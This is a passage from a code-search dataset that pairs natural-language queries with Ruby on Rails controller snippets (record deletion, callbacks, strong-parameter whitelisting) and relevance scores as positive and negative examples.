|format|\n format.html { redirect_to(admin_news_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to news_index_url, notice: 'An item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @newsinfo.destroy\n respond_to do |format|\n format.html { redirect_to newsinfos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize @system_news, :destroy?\n @system_news.destroy\n respond_to do |format|\n format.html { redirect_to system_news_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if @news.removed?\n @news.destroy\n else\n @news.removed!\n end\n\n respond_to do |format|\n format.html { redirect_to news_index_url, notice: 'Новость успешно удалена!' }\n format.json { head :no_content }\n end\n end", "def destroy\n @news_datum = NewsDatum.find(params[:id])\n @news_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to news_data_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @live_news = LiveNews.find(params[:id])\n @live_news.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_live_news_index_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to news_index_url, notice: 'News was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to news_index_url, notice: 'News was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to news_index_url, notice: 'News was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @news=News.find(params[:id])\n @news.destroy\n respond_to do |format|\n format.html { redirect_to news_url }\n format.json { render status: :ok, json: {} }\n end\n end", "def destroy\n @gg_news.destroy\n respond_to do |format|\n format.html { redirect_to gg_news_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n\n if @news.nil?\n render json: {error: \"Not found\"}, status: :not_found\n else\n @news.destroy\n render json: @news, status: :ok\n end\n end", "def destroy\n @news_item.destroy\n respond_to do |format|\n format.html { redirect_to admin_news_items_url, notice: 'News item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def deletenews\n News.find(params[:id]).destroy\n redirect_to \"/admin\"\nend", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to(news_index_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to(news_index_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to(news_index_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to(news_item_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @news_latest.destroy\n respond_to do |format|\n format.html { redirect_to news_latests_url, notice: 'News latest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @news_post.destroy\n\n respond_to do |format|\n format.html { redirect_to news_posts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @news_post.destroy\n respond_to do |format|\n format.html { redirect_to news_posts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @news_update.destroy\n respond_to do |format|\n format.html { redirect_to news_updates_url, notice: 'News update was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_news_link.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_news_links_url, notice: 'News link was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_news.destroy\n respond_to do |format|\n format.html { redirect_to user_news_index_url, notice: 'Пользовательская новость была успешно удалена.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @news_post = NewsPost.find(params[:id])\n @news_post.destroy\n\n respond_to do |format|\n format.html { redirect_to news_posts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @company_news.destroy\n respond_to do |format|\n format.html { redirect_to company_news_index_url, notice: 'Новость была удалена' }\n format.json { head :no_content }\n end\n end", "def destroy\n @news_post = NewsPost.find(params[:id])\n @news_post.destroy\n\n respond_to do |format|\n format.html { redirect_to news_posts_url }\n format.json { head :ok }\n end\n end", "def destroy\n \tif is_admin_logged\n\t @news = News.find(params[:id])\n\t @news.destroy\n\t\n\t respond_to do |format|\n\t format.html { redirect_to(news_index_url) }\n\t format.xml { head :ok }\n\t end\n \telse\n \t\tflash.now[:error] = \"Zaloguj sie jako administrator\"\n\t \tredirect_to root_url\t \t\n\t end\n end", "def destroy\n @local_news = LocalNews.find(params[:id])\n @local_news.destroy\n respond_to do |format|\n format.html { redirect_to noticias_local_news_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @alumni_news_item.destroy\n respond_to do |format|\n format.html { redirect_to alumni_news_items_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @news_agency = NewsAgency.find(params[:id])\n @news_agency.destroy\n\n respond_to do |format|\n format.html { redirect_to news_agencies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @article_news.destroy\n respond_to do |format|\n format.html { redirect_to article_news_url, notice: \"Article new was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @post.destroy\n\n respond_to do |format|\n format.html { redirect_to news_url }\n format.json { head :ok }\n end\n end", "def destroy\n @news_topic.destroy\n respond_to do |format|\n format.html { redirect_to news_topics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @import_ma_news.destroy\n respond_to do |format|\n format.html { redirect_to import_ma_news_url, notice: 'Import ma new was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @newsline.destroy\n respond_to do |format|\n format.html { redirect_to newslines_url, notice: 'Newsline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @article = Article.where(id: params[:id]).last\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_articles_url }\n format.json { head :ok }\n end\n end", "def destroy\n @news_article = NewsArticle.find(params[:id])\n @news_article.destroy\n \n respond_to do |format|\n format.html { redirect_to(news_articles_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @admin_article = Admin::Article.find(params[:id])\n @admin_article.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @newsfile.destroy\n respond_to do |format|\n format.html { redirect_to newsfiles_url, notice: 'Newsfile was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @staffnews.destroy\n respond_to do |format|\n format.html { redirect_to staffnews_index_url, notice: 'Staffnews was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @news_item.destroy\n \n respond_to do |format|\n format.html { redirect_to news_items_url }\n format.json { head :ok }\n end\n end", "def destroy\n @news_story.destroy\n respond_to do |format|\n format.html { redirect_to news_stories_url, notice: 'News story was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @hotnews_read = HotnewsRead.find(params[:id])\n @hotnews_read.destroy\n\n respond_to do |format|\n format.html { redirect_to hotnews_reads_url }\n format.json { head :no_content }\n end\n end", "def delete_news\n\n response_str = \"NG\"\n\n news_id = Integer(params[:news_id])\n news = News.find(news_id)\n\n if(news != nil)\n News.destroy(news.id)\n\n response_str = \"OK\"\n end\n\n respond_to do |format|\n format.html { render :inline => response_str }\n end\n\n end", "def destroy\n @news_update = NewsUpdate.find(params[:id])\n @news_update.destroy\n\n respond_to do |format|\n format.html { redirect_to(news_updates_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @news_list = NewsList.find(params[:id])\n @news_list.destroy\n\n respond_to do |format|\n format.html { redirect_to news_lists_url }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize @news_log\n @news_log.destroy\n respond_to do |format|\n format.html { redirect_to news_logs_url, notice: 'News log was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n if @news.estado == \"activado\"\n @news.update(estado: \"desactivado\")\n else\n @news.update(estado: \"activado\")\n end\n respond_to do |format|\n format.html { redirect_to news_index_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @news_feed.destroy\n\n respond_to do |format|\n format.html { redirect_to news_feeds_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @discourse_news_item.destroy\n respond_to do |format|\n format.html { redirect_to discourse_news_items_url, notice: 'Discourse news item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @news_items = NewsItem.find(params[:id])\n @news_items.destroy\n\n respond_to do |format|\n format.html { redirect_to(news_items_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @studentnews.destroy\n respond_to do |format|\n format.html { redirect_to studentnews_index_url, notice: 'Studentnews was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n if allowAccessIfUserRankAtLeast(1)\n @news.destroy\n respond_to do |format|\n format.html { redirect_to news_index_url }\n format.json { head :no_content }\n end\n else\n respond_to do |format|\n format.html { redirect_to news_index_url }\n format.json { head :no_content }\n flash[:notice] = 'You do not have permission to delete this news'\n end\n end\n end", "def destroy\n @news_item = NewsItem.find(params[:id])\n @news_item.destroy\n\n respond_to do |format|\n format.html { redirect_to news_items_url }\n format.xml { head :ok }\n end\n end", "def destroy\n auth_privilege\n\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @news_item = NewsItem.find(params[:id])\n @news_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(news_items_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @news = News.find(params[:id])\n category = @news.category\n @news.destroy\n \n respond_to do |format|\n format.html { redirect_to category_news_index_path(category), notice: 'News was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @auction_news.destroy\n respond_to do |format|\n format.html { redirect_to auction_news_url, notice: 'Auction new was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete!\n request! :delete\n end", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def delete\n\n end", "def destroy\n @article = Article.internal.find(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_articles_path, :notice => t('articles.article_successfully_deleted') }\n format.json { head :ok }\n end\n end", "def destroy\n @news_link = NewsLink.find(params[:id])\n @news_link.destroy\n\n respond_to do |format|\n format.html { redirect_to(news_links_url) }\n format.xml { head :ok }\n end\n end", "def delete\n request(:delete)\n end", "def delete\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: 'Article was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @news.destroy\n respond_to do |format|\n format.html { redirect_to admin_quarters_url(q: @quarter.slug), notice: t('shared.msgs.success_destroyed',\n obj: t('activerecord.models.news', count: 1)) }\n end\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def destroy\n @admin.destroy\n\n render json: { operation: 'OK' }, status: :ok\n end", "def destroy\n @newsletter.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete(*rest) end", "def destroy\n @story.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def destroy\n @newsbar.destroy\n respond_to do |format|\n format.html { redirect_to newsbars_url, notice: 'Newsbar was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @sitemenu.destroy\n respond_to do |format|\n format.html { redirect_to sitemenus_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @new = New.find(params[:id])\n @new.destroy\n\n redirect_to admin_news_index_path()\n end", "def destroy\n @news_subscriber.destroy\n respond_to do |format|\n format.html { redirect_to news_subscribers_url, notice: 'News subscriber was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @newsfeed.destroy\n respond_to do |format|\n format.html { redirect_to newsfeeds_url, notice: 'Newsfeed was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Post.delete(params[\"id\"])\n end" ]
[ "0.78717", "0.76353323", "0.7624624", "0.7596042", "0.75712144", "0.7557445", "0.7556464", "0.7556464", "0.7552589", "0.75351554", "0.75295657", "0.7519029", "0.7519029", "0.7519029", "0.7519029", "0.750463", "0.7489218", "0.7469574", "0.74254876", "0.74225926", "0.73611635", "0.7352232", "0.73462677", "0.73357415", "0.72959906", "0.72951436", "0.72903717", "0.72903717", "0.72903717", "0.72776663", "0.72735244", "0.7265216", "0.72607774", "0.7244333", "0.7219497", "0.7219497", "0.7219497", "0.72099495", "0.7175111", "0.71642846", "0.7160116", "0.7142561", "0.7141041", "0.7127299", "0.7122718", "0.7116294", "0.7114743", "0.7107879", "0.7104199", "0.70879304", "0.7072303", "0.7066043", "0.70597875", "0.70323", "0.70157653", "0.70147294", "0.70111203", "0.7008946", "0.70080006", "0.7004648", "0.7001108", "0.6995203", "0.6983894", "0.69819474", "0.6980098", "0.6973196", "0.69719136", "0.695766", "0.6910046", "0.69014555", "0.6896351", "0.6891593", "0.6886081", "0.68766403", "0.6870092", "0.6835492", "0.6826475", "0.68192893", "0.6800171", "0.6781172", "0.67790496", "0.6774871", "0.67651373", "0.67606056", "0.6749928", "0.6744227", "0.67419636", "0.67407805", "0.6739628", "0.67356944", "0.6733287", "0.67237854", "0.67206615", "0.67177105", "0.67114013", "0.67104584", "0.67050254", "0.67037857", "0.6702699", "0.6701614" ]
0.7256617
33
Use callbacks to share common setup or constraints between actions.
def set_news @news = News.unscoped.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def news_params params.require(:news).permit(:user_id, :title, :description, :text, :youtube_url, :youtube_data, :status, :happened_at, location_attributes: [:address, :lat, :lng]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, 